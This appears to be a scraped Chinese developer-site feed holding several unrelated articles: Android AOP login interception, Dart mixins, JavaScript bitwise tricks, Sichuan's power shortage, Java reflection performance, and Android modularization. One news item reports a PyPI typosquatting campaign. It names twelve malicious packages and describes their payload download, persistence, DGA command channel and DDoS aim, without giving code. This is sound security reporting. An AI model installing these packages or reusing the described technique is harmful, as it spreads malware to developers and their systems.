LoginManager.gotoLoginPage();
}


}
}

在去登录页面之前注册一个LiveEventBus事件,当登录完成之后发出通知,这里就直接放行调用注解的方法。即可完成继续执行的操作。


使用:


    override fun init() {

mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}

mBtnProfile.click {

//不带回调的登录方式
gotoProfilePage()
}

}

@LoginCallback
private fun gotoProfilePage() {
gotoActivity<ProfileDemoActivity>()
}

效果:



总结


从上面的代码我们就基于AOP思想实现了登录拦截功能,以后我们对于需要用户登录之后才能使用的功能只需要在对应的方法上添加指定的注解即可完成逻辑,彻底摆脱传统耗时耗力的开发方式。


需要注意的是AOP框架虽然使用起来很方便,能帮我们轻松完成函数插桩功能,但是它也有自己的缺点。AspectJ 在实现时会包装自己的一些类,不仅会影响切点方法的性能,还会导致安装包体积的增大。最关键的是对Kotlin不友好,对高版本AGP不友好,所以大家在使用时需要仔细权衡是否适合自己的项目。如有需求可以运行源码查看效果。源码在此


由于篇幅原因,后期会出单独出一些其他方式实现的登录拦截的实现,如果觉得这种方式不喜欢,大家可以对比一下哪一种方式比较你胃口。大家可以点下关注看看最新更新。


题外话:
我发现大家看我的文章都喜欢看一些总结性的,实战性的,直接告诉你怎么用的那种。所以我尽量不涉及到集成原理与基本使用,直接开箱即用。当然关于原理和基本的使用,我也不是什么大佬,我想大家也看不上我讲的。不过我也会给出推荐的文章。


好了,我本人如有讲解不到位或错漏的地方,希望同学们可以指出交流。


如果感觉本文对你有一点点点的启发,还望你能点赞支持一下,你的支持是我最大的动力。


Ok,这一期就此完结。



作者:newki
链接:https://juejin.cn/post/7132643283083198501
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 语法进阶 | 深入理解混入类 mixin

混入类引言 混入类是 Dart 中独有的概念,它是 继承 、实现 之外的另一种 is-a 关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类 和 接口 的中间地带。下面就来认识...
继续阅读 »
混入类引言

混入类是 Dart 中独有的概念,它是 继承实现 之外的另一种 is-a 关系的维护方式。它和接口非常像,一个类支持混入多个类,但在本质上和接口还是有很大区别的。在感觉上来说,从耦合性来看,混入类像是 抽象类接口 的中间地带。下面就来认识一下混入类的 使用与特性




1. 混入类的定义与使用

混入类通过 mixin 关键字进行声明,如下的 MoveAble 类,其中可以持有 成员变量 ,也可以声明和实现成员方法。对混入类通过 with 关键字进行使用,如下的 Shape 混入了 MoveAble 类。在下面 main 方法测试中可以看出,混入一个类,就可以访问其中的成员属性与方法,这点和 继承 非常像。


void main(){
 Shape shape = Shape();
 shape.speed = 20;
 shape.move();//=====Shape move====
 print(shape is MoveAble);// true
}

mixin MoveAble{
 double speed = 10;
 void move(){
   print("=====$runtimeType move====");
}
}

class Shape with MoveAble{

}



一个类可以混入若干个类,通过 , 号隔开。如下 Shape 混入了 MoveAblePaintAble ,就表示 Shape 对象可以同时拥有这两个类的能力。这个功能和接口有点相似,不过混入类可以进行对方法进行实现,这点要比接口更灵活。有点 随插随用 的感觉,甚至 Shape 类中可以什么都不做,就坐拥 “王权富贵”


mixin PaintAble{
 void paint(){
   print("=====$runtimeType paint====");
}
}

class Shape with MoveAble,PaintAble{
}

值得注意一点的是:混入类支持 抽象方法 ,而且同样要求派生类必须实现 抽象方法 。如下 PaintAbletag1 处定义了 init 抽象方法,在 Shape 中必须实现,这一点又和 抽象类 有些相像。所以我说混入类像是 抽象类接口 的中间地带,它不像继承那样单一,也不像接口那么死板。


mixin PaintAble{
 late Paint painter;
 void paint(){
   print("=====$runtimeType paint====");
}
 void init();// tag1
}

class Shape with MoveAble,PaintAble{
 @override
 void init() {
   painter = Paint();
}
}



2. 混入类对二义性的解决方式

通过前面可以看出,混入类 可谓 上得厅堂下得厨房 ,能打能抗的六边形战士。但,没有任何事物是完美无缺的。仔细想一下,既然语法上支持 多混入 ,那解决二义性就是一座不可避免大山。接口 牺牲了 普通成员方法实现 ,可谓断尾求生,才解决二义性问题,支持 多实现 。而 混入类 又能写成员变量,又能写成员方法,那它牺牲了什么呢?答案是:


混入类不能拥有【构造方法】

这一点就从本质上限制了 混入类 无法直接创建对象,这也是它和 普通类 最大的差异。从这里可以看出,抽象类接口混入类 都具有不能直接实例化的特点。本质上是因为这三者都是更高层的抽象,可能存在未实现的功能。那为什么混入类无法构造,就能解决二义性问题呢?下面来分析一下,两个混入类中的同名成员、同名方法,在多混入场景中是如何工作的。如下测试代码所示,AB 两个混入类拥有同名的 成员属性成员方法 :


mixin A {
 String name = "A";

 void log() {
   print(name);
}
}

mixin B {
 String name = "B";

 void log() {
   print(name);
}
}

此时,C 依次混入 AB 类,然后实例化 C 对象,执行 log 方法,可以看出,打印的是 B


class C with A, B {}

void main() {
 C c = C();
 c.log(); // B
}

如果 C 依次混入 BA 类,打印结果是 A 。也就是说对于多混入来说,混入类的顺序是至关重要的,当存在二义性问题时,会 “后来居上” ,访问最后混入类的方法或变量。这点往往会被很多人忽略,或压根不知道。


class C with B, A {}

void main() {
 C c = C();
 c.log(); // A
}



另外,补充一个小细节,如果 C 类覆写了 log 方法,那么执行时毋庸置疑是走 C#log 。由于混入类支持方法实现,所以派生类中可以通过 super 关键字触发 “基类” 的方法。同样对于二义性的处理也是 “后来居上” ,下面的 super.log() 执行的是 B 类方法。这种特性常用于对有生命周期的类进行拓展的场景,比如 AutomaticKeepAliveClientMixin


class C with A, B {
 
 @override
 void log() {
   super.log();// B
   print("C");
}
}



3.混入类间的继承细节

另外,两个混入类间可以通过 on 关键字产生类似于 继承 的关系:如下 MoveAble on Position 之后,MoveAble 类中可以访问 Position 中定义的 vec2 成员变量。





但有一点要特别注意,由于 MoveAble on Position ,当 Shape with MoveAble 时,必须在 MoveAble 之前混入 Position 。这点可能很多人也都不知道。



class Shape with Position,MoveAble,PaintAble{

}



另外,混入类并非仅由mixin 声明,一切满足 没有构造方法 的类都可以作为混入类。比如下面 A普通类B接口(抽象)类 ,都可以在 with 后作为 混入类被对待 。也就是说,一个类的可以用多重身份,并非是互斥的,它具体是什么身份,要看使用的场景。而使用场景最醒目的标志是 关键字



























关键字类关系耦合性
extend继承
implements实现
with混入

class A {
 String name = "A";

 void log() {
   print(name);
}
}

abstract class B{
 void log();
}

class C with A, B {

 @override
 void log() {
   super.log();// B
   print("C");
}
}



4.根据源码理解混入类

混入类在 Flutter 框架层的使用是非常多的,在 《Flutter 渲染机制 - 聚沙成塔》的 十二章 结合源码介绍了混入类的价值。下面来举个混入类的使用场景,会有些难,新手适当理解。比如 AutomaticKeepAliveClientMixin 继承 State :


mixin AutomaticKeepAliveClientMixin<T extends StatefulWidget> on State<T> {}

所以它可以在 State 的生命周期相关回调方法中做额外的处理,来实现某些特定的功能能。



这样,当在 State 派生类中混入 AutomaticKeepAliveClientMixin ,根据混入类二义性的特点,对于已经覆写的方法,可以通过 super.XXX 访问混入类的功能。对于未覆写的方法,会默认走混入类方法,这样就可以形成一种 "可插拔" 的功能件。


举个更易懂的例子,如下定义一个 LogStateMixin ,对 initStatedispose 方法进行覆写并输出日志。这样在一个 State 派生类中混入 LogStateMixin 就可以不动声色地实现生命周期打印功能,不想要就不混入。对于一些逻辑相对独立,或可以进行复用的拓展功能,使用 mixin 是非常方便的。


mixin LogStateMixin<T extends StatefulWidget> on State<T> {

 @override
 void initState() {
   super.initState();
   print("====initState====");
}

 // 略其他回调...
 
 @override
 void dispose() {
   super.dispose();
   print("====dispose====");
}
}

源码中有大量的混入类应用场景,大家可以自己去发现一下。本文从更深层次,分析了混入类的来龙去脉,它和 继承接口 的差异。作为 Dart 中相对独立的概念,对混入类的理解是非常重要的,它相当于在原有的 类间六大关系 中又添加了一种。本文想说的就这么多,谢谢观看~


作者:张风捷特烈
链接:https://juejin.cn/post/7132651702980706312
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

写这么骚的代码,不怕被揍么?

web
曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使...
继续阅读 »

曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。


这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使用)。


位运算

JavaScript 中最臭名昭著的 Bug 就是 0.1 + 0.2 !== 0.3,因为精度的问题,导致所有的浮点运算都是不安全的。


因此,之前有大牛提出,不要在 JS 中使用位运算:

Javascript 完全套用了 Java 的位运算符,包括按位与&、按位或|、按位异或^、按位非~、左移<<、带符号的右移>>和用0补足的右移>>>。这套运算符针对的是整数,所以对 JavaScript 完全无用,因为 JavaScript 内部,所有数字都保存为双精度浮点数。如果使用它们的话,JavaScript 不得不将运算数先转为整数,然后再进行运算,这样就降低了速度。而且按位与运算符&同逻辑与运算符&&,很容易混淆。


但是在我看来,如果对 JS 的运用达到炉火纯青的地步,能避开各种“Feature”的话,偶尔用一下位运算符也无所谓,还能提升运算性能,毕竟直接操作的是计算机最熟悉的二进制。


1. 使用左移运算符 << 迅速得出2的次方



2. 使用 ^ 切换变量 0 或 1



3. 使用 & 判断奇偶性

偶数 & 1 = 0

奇数 & 1 = 1


4. 使用 !! 将数字转为布尔值

所有非0的值都是true,包括负数、浮点数:

5. 使用~、>>、<<、>>>、|来取整

相当于使用了 Math.floor()



注意 >>> 不可对负数取整



6. 使用^来完成值交换

这个符号的用法前面提到过,下面介绍一些高级的用法,在 ES6 的解构赋值出来之前,用这种方式会更快(但必须是整数):



7. 使用^判断符号是否相同





8. 使用^来检查数字是否不相等





9. n & (n - 1),如果为 0,说明 n 是 2 的整数幂



10. 使用 A + 0.5 | 0 来替代 Math.round()


如果是负数,只需要-0.5


String

1. 使用toString(16)取随机字符串



.substring() 的第二个参数控制取多少位 (最多可取13位)


2. 使用 split(0)

使用数字来做为 split 的分隔条件可以节省2字节



3. 使用.link() 创建链接

一个鲜为人知的方法,可以快速创建 a 标签




3. 使用 Array 来重复字符



其他一些花里胡哨的操作

1. 使用当前时间创建一个随机数


2. 一些可以替代 undefined 的操作

(1)._1.._  0[0]


2. void 0 会比写 undefined 要快一些





3.使用 1/0 来替代 Infinity



4.使用 Array.length = 0 来清空数组



5.使用 Array.slice(0) 实现数组浅拷贝


6.使用 !+\v1 快速判断 IE8 以下的浏览器

谷歌浏览器:



7. for 循环条件的简写



结尾

虽然上述操作能在一定程度上使代码更简洁,但会降低可读性。在目前的大环境下,机器的性能损失远比不上人力的损失,因为升级机器配置的成本远低于维护晦涩代码的成本,所以请谨慎使用这些“黑魔法”。就算要使用,也请加上注释,毕竟,这世上还有很多“麻瓜”需要生存。


还有一些其他骚操作,可以参考这位大神总结的 《Byte-saving Techniques》,有些很常见,有些使用环境苛刻,这里就不一一列出了。

最后,来一个彩蛋,在控制台输入:


如果以后有人喷你的代码,你就可以将此代码发给他。


来源:juejin.im/post/5e044eb5f265da33b50748c8



收起阅读 »

水电大省四川热到缺电!宁德时代都被迫停产了

这大概是最近南方朋友们出门之后的唯一感想了。后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。但说起来,四川可是水电大省啊。并且水力发电向来有“夏丰冬枯”的说法。水电大省为何缺电?同时四川也是全国水电第一大省,...
继续阅读 »

热热热!

这大概是最近南方朋友们出门之后的唯一感想了。

前有江苏最高地表温度飙至72℃,把地里的火龙果都给烤熟了。

后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。


但说起来,四川可是水电大省啊。

从2021年的数据来看,四川水电装机容量达8947.0万千瓦,位居全国第一。

并且水力发电向来有“夏丰冬枯”的说法。

怎么这个时候,会出现供电紧张的情况?

水电大省为何缺电?

靠着丰富的自然资源,四川的能源结构以水电为主,占全省发电量的70%-80%。

同时四川也是全国水电第一大省,据四川省统计局,2021年末四川水力发电量3531.4亿千瓦时,水电装机容量和年发电量均居全国第一。


根据往年经验,从5-6月开始直到9-10月四川都是丰水期。

此时往往供电大于用电,甚至还会出现被迫“弃水弃电”的情况:水电站储存不下的多余水量只能放弃。据国家能源局消息,2016-2020年四川年均弃水电量超100亿千瓦时。

今年最大的变数是异常高温、干旱。

首先高温会造成居民用电量激增,预计全省最大用电负荷将比去年同期增加25%。

再者今年平均降水量较常年少了51%,为历史同期最少。据国网四川省电力公司消息,干旱造成水电日发电量大幅下降,供电支撑能力大幅下跌。

两者叠加的局面,使电力保供形势十分严峻,而高温天气预计还将持续一周左右。


值得注意的是,四川还有“外送履约执行”的压力。

四川是“西电东送”的重要输出端,电力输送区域包括华东、西北、华北、华中和重庆等。这部分外送的电量是有固定分配比例的。

目前,针对这一问题,四川省已经向省外求援。

据川观新闻消息,四川跨省跨区所有通道已最大化利用,同时增大水电留川规模,大幅削减四川低谷年度外送计划电力。但目前所有电力入川通道已全部满载运行,组织省外电力支援难度增大。

最后还有一点,极端天气除了增加用电负荷,也让电网设备运行环境温度增加,发生故障的概率随之增大,给电力公司的检修工作带来更大压力。

限电影响大吗?

备受关注的是,这次一限电,不少在能源供应大省“安营扎寨”的企业受到了波及。


在四川重点发展的五类企业(电子信息、装备制造、食品饮料、先进材料、能源化工)中,尤以能源化工和电子信息企业受到关注。


图源四川省人民政府

这也与四川出产的战略资源有关:多晶硅、锂矿、稀土、石墨、钒钛……

多晶硅,生产光伏组件、半导体电子的关键原材料。据澎湃新闻介绍,四川多晶硅产量则约占全国产量的13%,截至2021年,四川省内已建成和在建高纯晶硅、拉棒切方、电池片等项目投资超1000亿元。

锂矿,新能源汽车所用电池的重要构成材料之一。据国泰君安介绍,四川地区锂盐产能占比全国锂盐产能接近30%。

由此,限电给企业带来的影响也分为两方面。

一方面,上游的原材料生产企业受到影响。

据华尔街见闻介绍,SMM估算此次限电会导致四川的碳酸锂产量减少约1120吨,占行业比重3%;氢氧化锂产量减少约1690吨,占行业比重约8%。

除了锂与多晶硅以外,一些原材料生产厂商也给出了预计影响的产量。

如据澎湃新闻介绍,四川美丰表示,本次临时停产预计将影响尿素产量约1.5万吨、复合肥产量约0.6万吨。四川绵竹川润化工有限公司,预计将减少锌合金产量约0.1万吨、磷化工产品产量约0.4万吨、合成氨产量0.2万吨。


另一方面,材料上涨的同时、限电导致的产量下降,又会给下游的产业带来进一步影响。

例如,给新能源汽车生产锂电池的工厂宁德时代

据界面新闻消息,宁德时代四川宜宾工厂已经限电停产。

此前,宁德时代宜宾基地第一、二、三、五、六期已建成投运,第七和第八期开工建设,产能达75GWh。若以每辆新能源车搭载50KWh(千瓦时)电量计算,75GWh的动力电池可配套150万辆新能源车。

另外,四川作为电子产业重镇,2019年全省电子信息产业主营业务收入首次突破万亿大关,达10259.9亿元,为全省第一支柱产业,涉及PC产业链、通讯设备、芯片等电子硬件设备制造更是贡献一半以上的收入。

包括英特尔、富士康等与半导体相关的电子信息企业,在四川也均建有工厂。

不过,富士康方面回应中国证券报称,目前对公司运营影响不大。

而郭明錤表示,四川的临时限电可能会影响成都(富士康)和重庆(仁宝)的iPad组装厂。虽然目前很难评估对生产的影响,但如果停电可以在8月20日结束,影响应该是有限的。

与此同时,也有专家认为,这样的限电停产带来的影响是可控的。

比如,在接受澎湃新闻采访时,中国有色金属硅业分会专家委副主任吕锦标表示,本轮四川停限电政策对硅料整体产量影响不大:

只是减负荷,没有停车,系统物料仍然循环。当地主要的三家硅料生产商都很成熟,恢复起来很快。

四川限电减少的硅料供应量不大,不足以影响供求关系,目前新增产能释放,零售市场供需关系得以改善,但需要呼吁长单采购的龙头企业不要再到零售市场抢货,要不然还是会引发价格上扬。

参考链接:
[1]**https://www.sc.gov.cn/10462/10464/10797/2018/7/4/10454397.shtml
[2]**https://m.jiemian.com/article/7920810.html
[3]**https://www.sc.gov.cn/10462/10464/10797/2022/5/16/e8018d148c7149a484d81ba01394261c.shtml
[4]**http://www.nea.gov.cn/2022-07/08/c_1310639564.htm
[5]**https://mp.weixin.qq.com/s/Pt2CgRfW6N-WRcXo6Zp2IQ
[6]**https://ishare.ifeng.com/c/s/v0042lTJmoiuFAeZHmeeSFWhFg4KLfLJGFyHzqutC4Ggh8k__

来源:量子位

收起阅读 »

反射技巧让你的性能提升N倍

在之前的文章和视频中我们拆分了不同的场景对比反射的性能。文字版: 侧重于细节上的知识点更多、更加详细,揭秘反射真的很耗时吗,射 10 万次耗时多久视频版: 通过动画展示讲解,更加的清楚、直观,视频版本 bilibili 地址: https://www.bili...
继续阅读 »

在之前的文章和视频中我们拆分了不同的场景对比反射的性能。

在之前的文章中提到了一个提升性能非常重要的点,将 Accessible 设置 true 反射速度会进一步提升,如果单看一个程序,可能这点性能微不足道,但是如果放在一个大的复杂的工程下面,运行在大量的低端机下,一行代码提升的性能,可能比你写 100 行代码提升的性能更加显著。

而今天这篇文章从源码的角度分析一下 isAccessible() 方法的作用,为什么将 Accessible 设置为 true 可以提升性能,在开始分析之前,我们先写一段代码。

  • 声明一个普通类,里面有个 public 方法 getName()private 方法 getAddress()

class Person {
   public fun getName(): String {
       return "I am DHL"
  }
   
   private fun getAddress(): String {
       return "BJ"
  }
}
  • 通过反射获取 getName()getAddress() 方法,花 3 秒钟思考一下,下面的代码输出的结果

// public 方法
val method1 = Person::class.declaredFunctions.find { it.name == "getName" }
println("access = ${method1?.isAccessible}")

// private 方法
val method2 = Person::class.declaredFunctions.find { it.name == "getAddress" }
println("access = ${method2?.isAccessible}")

无论是调用 public getName() 方法还是调用 private getAddress() 方法,最后输出的结果都为 false,通过这个例子也间接说明了 isAccessible() 方法并不是用来表示访问权限的。

当我们通过反射调用 private 方法时,都需要执行 setAccessible() 方法设置为 true, 否者会抛出下面的异常。

java.lang.IllegalAccessException: can not access a member of class com.hi.dhl.demo.reflect.Person

如果通过反射调用 public 方法,不设置 Accessibletrue,也可以正常调用,所以有很多小伙伴认为 isAccessible() 方法用来表示访问权限,其实这种理解是错误的。

我们一起来看一下源码是如何解释的,方法 isAccessible() 位于 AccessibleObject 类中。

public class AccessibleObject implements AnnotatedElement {
   ......
   // NOTE: for security purposes, this field must not be visible
   boolean override;
   
   public boolean isAccessible() {
       return override;
  }
   
   public void setAccessible(boolean flag) throws SecurityException {
      ......
  }
   ......
}

AccessibleObjectFieldMethodConstructor 的父类,调用 isAccessible() 返回 override 的值,而字段 override 主要判断是否要进行安全检查。

字段 overrideAccessibleObject 子类当中使用,所以我们一起来看一下它的子类 Method

public Object invoke(Object obj, Object... args){
   // 是否要进行安全检查
   if (!override) {
       // 进行快速验证是否是 Public 方法
       if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
           // 返回调用这个方法的 Class
           Class<?> caller = Reflection.getCallerClass();
           // 做权限访问的校验,缓存调用这个方法的 Class,避免下次在做检查
           checkAccess(caller, clazz, obj, modifiers);
      }
  }
  ......
   return ma.invoke(obj, args);
}

字段 override 提供给子类去重写,它的值决定了是否要进行安全检查,如果要进行安全检查,则会执行 quickCheckMemberAccess() 快速验证是否是 Public 方法,避免调用 getCallerClass()

  • 如果是 Public 方法,避免做安全检查,所以我们在代码中不调用 setAccessible(true) 方法,也不会抛出异常

  • 如果不是 Public 方法则会调用 getCallerClass() 获取调用这个方法的 Class,执行 checkAccess() 方法进行安全检查。

// it is necessary to perform somewhat expensive security checks.
// A more complicated security check cache is needed for Method and Field
// The cache can be either null (empty cache)
volatile Object securityCheckCache; // 缓存调用这个方法的 Class

void checkAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers){
   ......
   Object cache = securityCheckCache;  // read volatile
   
   if(cache == 调用这个方法的 Class){
       return;     // ACCESS IS OK
  }
   
   slowCheckMemberAccess(caller, clazz, obj, modifiers, targetClass);
   ......
}

void slowCheckMemberAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers,Class<?> targetClass){
   Reflection.ensureMemberAccess(caller, clazz, obj, modifiers);
   Object cache = 调用这个方法的 Class
   securityCheckCache = cache;         // 缓存调用这个方法的 Class
}

源码中注释也说明了,如果要进行安全检查那么它的代价是非常昂贵的,所以用变量 securityCheckCache 缓存调用这个方法的 Class。如果下次使用相同的 Class,就不需要在做安全检查,但是这个缓存有个缺陷,如果换一个调用这个方法的 Class,需要再次做安全检查,并且会覆盖之前的缓存结果。

如果要在运行时修改属性或者调用某个方法时,都要进行安全检查,而安全检查是非常消耗资源的,所以 JDK 提供了一个 setAccessible() 方法,可以绕过安全检查,让开发者自己来决定是否要避开安全检查。

因为反射本身是非常慢的,如果能够避免安全检查,可以进一步提升性能,在之前的文章 揭秘反射真的很耗时吗,射 10 万次耗时多久,针对不同场景,分别测试了反射前后以及关闭安全检查的耗时。

正常调用反射反射优化后反射优化后关掉安全检查
创建对象0.578 ms/op4.710 ms/op1.018 ms/op0.943 ms/op
方法调用0.422 ms/op10.533 ms/op0.844 ms/op0.687 ms/op
属性调用0.241 ms/op12.432 ms/op1.362 ms/op1.202 ms/op
伴生对象0.470 ms/op5.661 ms/op0.840 ms/op0.702 ms/op

从测试结果可以看出来,执行 setAccessible() 方法,设置为 true 关掉安全检查之后,反射速度得到了进一步的提升,更接近于正常调用。


作者:程序员DHL
来源:https://juejin.cn/post/7121901090332737572

收起阅读 »

PyPi存储库遭恶意利用,尽快删除这12个病毒包!

8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与...
继续阅读 »

8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与其他流行软件包相似的名称来诱骗软件开发人员使用恶意版本,进而对俄罗斯反恐精英(Counter-Strike)1.6 服务器执行 DDoS 的仿冒攻击。

1 恶意仿冒活动

此次排版攻击依赖于开发人员使用错误的名称,导致使用了与合法软件包相似的恶意软件包。例如,此活动中的一些包及其合法对应包(括号中)是 Gesnim (Gensim)、TensorFolw (TensorFlow) 和 ipaddres (ipaddress)。


2 恶意软件包仍在 PyPi 上

上传的恶意 PyPi 包的完整列表是:

  • Gesnim

  • Kears

  • TensorFolw

  • Seabron

  • tqmd

  • lxlm

  • mokc

  • ipaddres

  • ipadress

  • falsk

  • douctils

  • inda

由于软件开发人员通常通过终端获取这些包,因此很容易以错误的顺序输入其名称和字母。由于下载和构建按预期继续,受害者没有意识到错误并感染了他们的设备。

虽然 CheckMarx 向 PyPi 存储库报告了这些包,但在撰写本文时它们仍然在线。

3 定位 CounterSrike 服务器

在他们的应用程序中下载并使用这些恶意 Python 包之一后,setup.py 中的嵌入代码会运行以确认主机是 Windows 系统,如果是,它会从 GitHub 下载有效负载 (test.exe)。


隐藏在设置脚本中的代码 (Checkmarx)

在 VirusTotal(免费的可疑文件分析服务的网站)上扫描时,69 个防病毒引擎中只有 11 个将文件标记为恶意文件,因此它是一种用 C++ 编写的相对较新/隐蔽的恶意软件。

该恶意软件会自行安装并创建一个启动条目以在系统重新启动之间保持持久性,同时它还注入一个过期的系统范围的根证书。

接下来,它连接到硬编码的 URL 以接收其配置。如果第三次尝试失败,它会寻找对发送到 DGA(域生成算法)地址的 HTTP 请求的响应。

“这是我们第一次在软件供应链生态系统中看到恶意软件(菌株)使用 DGA,或者在这种情况下,使用 UGA 为恶意活动的新指令分配生成的名称,”Checkmarx 在报告中评论道。


攻击流程图 (Checkmarx)

在分析师观察到的案例中,配置命令恶意软件将主机招募到 DDoS 机器人中,该机器人开始向反恐精英(CounterStrike)1.6 服务器发送流量。

目标似乎是通过感染足够多的设备来关闭 Counter-Strike 服务器,以使发送的流量使服务器不堪重负。

用于托管恶意软件的 GitHub 存储库已被删除,但攻击者可以通过滥用不同的文件托管服务来恢复恶意操作。

如果你使用了上面提到的 12 个软件包,并且可能出现了打字错误,一定要仔细检查你的项目,确认是否使用了合法的软件包。

4 影响

Pypi 被恶意攻击已非个例。早在今年 6 月,PyPi python 包就被曝发现将被盗的 AWS 密钥发送到不安全的站点。8 月 9 日,又有威胁分析人员在 PyPI 存储库中发现了 10 个恶意 Python 包,它们被用于窃取密码的恶意软件进而感染正在开发的系统。

Python Package Index (PyPi) 是一个包含超过 350000 个开源软件包的存储库,数百万开发人员可以轻松地将其整合到他们的 Python 项目中,以最小的努力构建复杂的应用程序。

由于开源,软件开发人员经常使用它来挑选基于 Python 的项目的构建块,或者与社区分享他们的工作。

但是,由于任何人都可以将包上传到存储库,并且包不会被删除,除非它们被报告为恶意,因此存储库更常被威胁者滥用,他们使用它来窃取开发人员凭据或部署恶意软件。虽然 PyPi 可以快速响应平台上的恶意包报告,但在提交之前由于缺少强有力的审查,因此危险包可能会潜伏一段时间。

参考链接:

https://medium.com/checkmarx-security/typosquatting-campaign-targeting-12-of-pythons-top-packages-downloading-malware-hosted-on-github-9501f35b8efb

作者:云昭

收起阅读 »

Android 官方项目是怎么做模块化的?快来学习下

概述模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。模块化的好处模块化有以下好处:可扩展性:在高耦合的单一代码库中,牵一发而动全身。模块化项目当采用关注点分离原则。这会赋予了贡献者更多的自主权,同时也强制执行架构模式。支持并行工作:模块化有...
继续阅读 »

概述

模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。

模块化的好处

模块化有以下好处:

  • 可扩展性:在高耦合的单一代码库中,牵一发而动全身。模块化项目当采用关注点分离原则。这会赋予了贡献者更多的自主权,同时也强制执行架构模式。
  • 支持并行工作:模块化有助于减少代码冲突,为大型团队中的开发人员提供更高效的并行工作。
  • 所有权:一个模块可以有一个专门的 owner,负责维护代码和测试、修复错误和审查更改。
  • 封装:独立的代码更容易阅读、理解、测试和维护。
  • 减少构建时间:利用 Gradle 的并行和增量构建可以减少构建时间。
  • 动态交付:模块化是 Play 功能交付 的一项要求,它允许有条件地交付应用程序的某些功能或按需下载。
  • 可重用性:模块化为代码共享和构建多个应用程序、跨不同平台、从同一基础提供了机会。

模块化的误区

模块化也可能会被滥用,需要注意以下问题:

  • 太多模块:每个模块都有其成本,如 Gradle 配置的复杂性增加。这可能会导致 Gradle 同步及编译时间的增加,并产生持续的维护成本。此外,与单模块相比,添加更多模块会增加项目 Gradle 设置的复杂性。这可以通过使用约定插件来缓解,将可重用和可组合的构建配置提取到类型安全的 Kotlin 代码中。在 Now in Android 应用程序中,可以在 build-logic文件夹 中找到这些约定插件。
  • 没有足够的模块:相反,如果你的模块很少、很大并且紧密耦合,最终会产生另外的大模块。这将失去模块化的一些好处。如果您的模块臃肿且没有单一的、明确定义的职责,您应该考虑将其进一步拆分。
  • 太复杂了:模块化并没有灵丹妙药 -- 一种方案解决所有项目的模块化问题。事实上,模块化你的项目并不总是有意义的。这主要取决于代码库的大小和相对复杂性。如果您的项目预计不会超过某个阈值,则可扩展性和构建时间收益将不适用。

模块化策略

需要注意的是没有单一的模块化方案,可以确保其对所有项目都适用。但是,可以遵循一般准则,可以尽可能的享受其好处并规避其缺点。

这里提到的模块,是指 Android 项目中的 module,通常会包含 Gradle 构建脚本、源代码、资源等,模块可以独立构建和测试。如下:

一般来说,模块内的代码应该争取做到低耦合、高内聚。

  • 低耦合:模块应尽可能相互独立,以便对一个模块的更改对其他模块的影响为零或最小。他们不应该了解其他模块的内部工作原理。
  • 高内聚:一个模块应该包含一组充当系统的代码。它应该有明确的职责并保持在某些领域知识的范围内。例如,Now in Android 项目中的core-network模块负责发出网络请求、处理来自远程数据源的响应以及向其他模块提供数据。

Now in Android 项目中的模块类型

注:模块依赖图(如下)可以在模块化初期用于可视化各个模块之间的依赖关系。

modularization-graph.png

Now in Android 项目中有以下几种类型的模块:

  • app 模块: 包含绑定其余代码库的应用程序级和脚手架类,app例如和应用程序级受控导航。一个很好的例子是通过导航设置和底部导航栏设置。该模块依赖于所有模块和必需的模块。
  • feature- 模块: 功能特定的模块,其范围可以处理应用程序中的单一职责。这些模块可以在需要时被任何应用程序重用,包括测试或其他风格的应用程序,同时仍然保持分离和隔离。如果一个类只有一个feature模块需要,它应该保留在该模块中。如果不是,则应将其提取到适当的core模块中。一个feature模块不应依赖于其他功能模块。他们只依赖于core他们需要的模块。
  • core-模块:包含辅助代码和特定依赖项的公共库模块,需要在应用程序中的其他模块之间共享。这些模块可以依赖于其他核心模块,但它们不应依赖于功能模块或应用程序模块。
  • 其他模块 - 例如和模块syncbenchmark、 test以及 app-nia-catalog用于快速显示我们的设计系统的目录应用程序。

项目中的主要模块

基于以上模块化方案,Now in Android 应用程序包含以下模块:

模块名职责关键类及核心示例
app将应用程序正常运行所需的所有内容整合在一起。这包括 UI 脚手架和导航。NiaApp, MainActivity 应用级控制导航通过 NiaNavHost, NiaTopLevelNavigation
feature-1, feature-2 ...与特定功能或用户相关的功能。通常包含从其他模块读取数据的 UI 组件和 ViewModel。如:feature-author在 AuthorScreen 上显示有关作者的信息。feature-foryou它在“For You” tab 页显示用户的新闻提要和首次运行期间的入职。AuthorScreen AuthorViewModel
core-data保存多个特性模块中的数据。TopicsRepository AuthorsRepository
core-ui不同功能使用的 UI 组件、可组合项和资源,例如图标。NiaIcons NewsResourceCardExpanded
core-common模块之间共享的公共类。NiaDispatchers Result
core-network发出网络请求并处理对应的结果。RetrofitNiANetworkApi
